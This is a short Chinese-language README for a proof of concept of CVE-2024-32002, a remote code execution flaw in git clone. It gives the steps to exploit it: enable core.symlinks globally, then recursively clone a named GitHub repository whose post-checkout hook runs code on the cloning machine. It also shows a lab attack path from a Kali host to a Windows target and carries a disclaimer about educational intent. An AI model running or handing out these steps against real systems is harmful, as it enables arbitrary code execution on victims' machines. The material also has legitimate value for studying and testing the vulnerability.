CVE-2024-32002 PoC

1. 你必须设置 Git 的符号链接选项，如下所示：

git config --global core.symlinks true

2. 然后通过以下命令利用 CVE-2024-32002：

git clone --recursive https://github.com/EQSTSeminar/git_rce.git

攻击场景

kali(192.168.216.129) --提供远程仓库地址--> Win(192.168.216.130)

kali(192.168.216.129) <--Git clone && 钩子脚本（post-checkout）执行-- Win(192.168.216.130)

免责声明

本仓库并非旨在作为针对 CVE-2024-32002 的 git clone RCE 漏洞利用工具。此项目的目的是帮助人们了解该漏洞，并或许测试他们自己的应用程序。

分析

https://skshieldus.com/eng/business/insight.do#